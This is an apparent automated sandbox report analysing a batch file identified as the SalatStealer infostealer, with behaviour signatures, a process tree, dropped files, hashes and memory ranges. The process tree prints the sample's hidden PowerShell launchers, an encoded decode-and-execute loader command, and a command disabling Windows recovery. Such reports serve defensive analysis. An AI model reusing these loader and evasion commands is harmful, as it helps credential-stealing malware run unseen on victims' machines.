Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/10/2026, 03:52

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-efejeadb92
  • SHA256 fd27cf9d31dcb4a0b6bb0c2da385ba2fbc30ad92213f2359a25d7a915e7fb719
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 15 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 20 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4488
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5084
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1232
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1576
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qcvla3yt\qcvla3yt.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2892
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES304D.tmp" "c:\Users\Admin\AppData\Local\Temp\qcvla3yt\CSC9DF1978A00B48879991B0A8CB1F188.TMP"
              6⤵
                PID:4912
            • C:\Users\Admin\AppData\Local\Temp\p_45610a2c-9451-48f5-b135-67c7c309ce23.exe
              "C:\Users\Admin\AppData\Local\Temp\p_45610a2c-9451-48f5-b135-67c7c309ce23.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:5612
              • C:\Users\Admin\AppData\Local\Mozilla\ShellHost.exe
                C:\Users\Admin\AppData\Local\Mozilla\ShellHost.exe
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2776
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2536
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:3408
                • C:\Program Files (x86)\Microsoft\Edge\Application\ShellHost.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\ShellHost.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:3600
    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
      1⤵
        PID:4636
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
        1⤵
          PID:3444

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 4e14a7b28afff95b70ba849207619ff903c6ea821b8cf2c12b589579a7d7d3af
              • MD5 SHA1 SHA512 TLSH

              RES304D.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RES304D.tmp
              • Size 1KB
              • SHA256 cb510a7c8371b37f202621ff3e6bff71a3c09239b8ec4abd53196ee05546cd9f
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_wqruxxd3.xxd.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wqruxxd3.xxd.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              lc_3548_1789218388848017200.b64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
              • Size 111KB
              • SHA256 42514cf33961979b7816d598c20da0714df08c1802e961908c7f1f1b1d531533
              • MD5 SHA1 SHA512 SSDEEP TLSH

              lc_3548_1789218388848017200.b64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
              • Size 4.6MB
              • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
              • MD5 SHA1 SHA512 SSDEEP TLSH

              lc_3548_1789218388848017200.l64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
              • Size 10KB
              • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
              • MD5 SHA1 SHA512 SSDEEP TLSH

              p_45610a2c-9451-48f5-b135-67c7c309ce23.exe

              • Path C:\Users\Admin\AppData\Local\Temp\p_45610a2c-9451-48f5-b135-67c7c309ce23.exe
              • Size 3.4MB
              • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
              • MD5 SHA1 SHA512 SSDEEP TLSH

              qcvla3yt.dll

              • Path C:\Users\Admin\AppData\Local\Temp\qcvla3yt\qcvla3yt.dll
              • Size 5KB
              • SHA256 cf72bc28e590efffd1e922c5fc7ce63ff3d4092a449d5e33c502c13e4b2f2744
              • MD5 SHA1 SHA512 SSDEEP TLSH

              CSC9DF1978A00B48879991B0A8CB1F188.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\qcvla3yt\CSC9DF1978A00B48879991B0A8CB1F188.TMP
              • Size 652B
              • SHA256 d46ce02533caf310d2095c0ee5f780858c97eaf949696bec860b86fcf6a08aa7
              • MD5 SHA1 SHA512 TLSH

              qcvla3yt.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\qcvla3yt\qcvla3yt.0.cs
              • Size 2KB
              • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
              • MD5 SHA1 SHA512 TLSH

              qcvla3yt.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\qcvla3yt\qcvla3yt.cmdline
              • Size 369B
              • SHA256 96eee4564b92f1a309dd869823433231efb92fc034c60205741cef5b8d16ae42
              • MD5 SHA1 SHA512 TLSH

              memory/1576-848-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/1576-846-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/1576-825-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/1576-827-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/1576-828-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/1576-836-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/1576-829-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/1576-830-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/1576-847-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/1576-849-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/1576-850-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/1576-844-0x0000018453160000-0x0000018453168000-memory.dmp

              memory/1576-861-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/2536-899-0x0000000006F20000-0x0000000006F56000-memory.dmp

              memory/2536-913-0x00000000071C0000-0x0000000007256000-memory.dmp

              memory/2536-915-0x0000000008330000-0x00000000088EA000-memory.dmp

              memory/2536-914-0x00000000075C0000-0x00000000075E2000-memory.dmp

              memory/2536-912-0x0000000007110000-0x000000000711A000-memory.dmp

              memory/2536-911-0x00000000070B0000-0x00000000070CA000-memory.dmp

              memory/2536-910-0x00000000076F0000-0x0000000007D6C000-memory.dmp

              memory/2536-909-0x0000000006F80000-0x0000000007023000-memory.dmp

              memory/2536-908-0x0000000006F60000-0x0000000006F80000-memory.dmp

              memory/2536-901-0x0000000070C00000-0x0000000070F5B000-memory.dmp

              memory/2536-900-0x0000000070A90000-0x0000000070ADC000-memory.dmp

              memory/2536-896-0x0000000006CC0000-0x0000000006D08000-memory.dmp

              memory/2536-889-0x0000000005B90000-0x0000000005BDC000-memory.dmp

              memory/2536-888-0x0000000005AF0000-0x0000000005B0E000-memory.dmp

              memory/2536-886-0x00000000055E0000-0x000000000593B000-memory.dmp

              memory/2536-880-0x0000000005570000-0x00000000055D6000-memory.dmp

              memory/2536-879-0x0000000005500000-0x0000000005566000-memory.dmp

              memory/2536-878-0x0000000004CE0000-0x0000000004D02000-memory.dmp

              memory/2536-876-0x0000000002290000-0x00000000022C6000-memory.dmp

              memory/2536-877-0x0000000004D80000-0x00000000053CA000-memory.dmp

              memory/2776-926-0x0000000000EB0000-0x0000000001B05000-memory.dmp

              memory/2776-923-0x0000000000EB0000-0x0000000001B05000-memory.dmp

              memory/2776-930-0x0000000000EB0000-0x0000000001B05000-memory.dmp

              memory/2776-872-0x0000000000EB0000-0x0000000001B05000-memory.dmp

              memory/2776-929-0x0000000000EB0000-0x0000000001B05000-memory.dmp

              memory/2776-928-0x0000000000EB0000-0x0000000001B05000-memory.dmp

              memory/2776-922-0x0000000000EB0000-0x0000000001B05000-memory.dmp

              memory/2776-927-0x0000000000EB0000-0x0000000001B05000-memory.dmp

              memory/2776-874-0x0000000000EB0000-0x0000000001B05000-memory.dmp

              memory/2776-875-0x0000000000EB0000-0x0000000001B05000-memory.dmp

              memory/2776-925-0x0000000000EB0000-0x0000000001B05000-memory.dmp

              memory/2776-924-0x0000000000EB0000-0x0000000001B05000-memory.dmp

              memory/3600-895-0x0000000000850000-0x00000000014A5000-memory.dmp

              memory/3600-898-0x0000000000850000-0x00000000014A5000-memory.dmp

              memory/5084-10-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/5084-7-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/5084-12-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/5084-16-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/5084-13-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/5084-14-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/5084-9-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/5084-11-0x00007FFB474A0000-0x00007FFB47E44000-memory.dmp

              memory/5084-6-0x0000029D6FB90000-0x0000029D6FBB2000-memory.dmp

              memory/5084-0-0x00007FFB4762F000-0x00007FFB47630000-memory.dmp

              memory/5612-859-0x0000000000220000-0x0000000000E75000-memory.dmp

              memory/5612-863-0x0000000000220000-0x0000000000E75000-memory.dmp

              memory/5612-862-0x0000000000220000-0x0000000000E75000-memory.dmp

              memory/5612-864-0x0000000000220000-0x0000000000E75000-memory.dmp

              memory/5612-871-0x0000000000220000-0x0000000000E75000-memory.dmp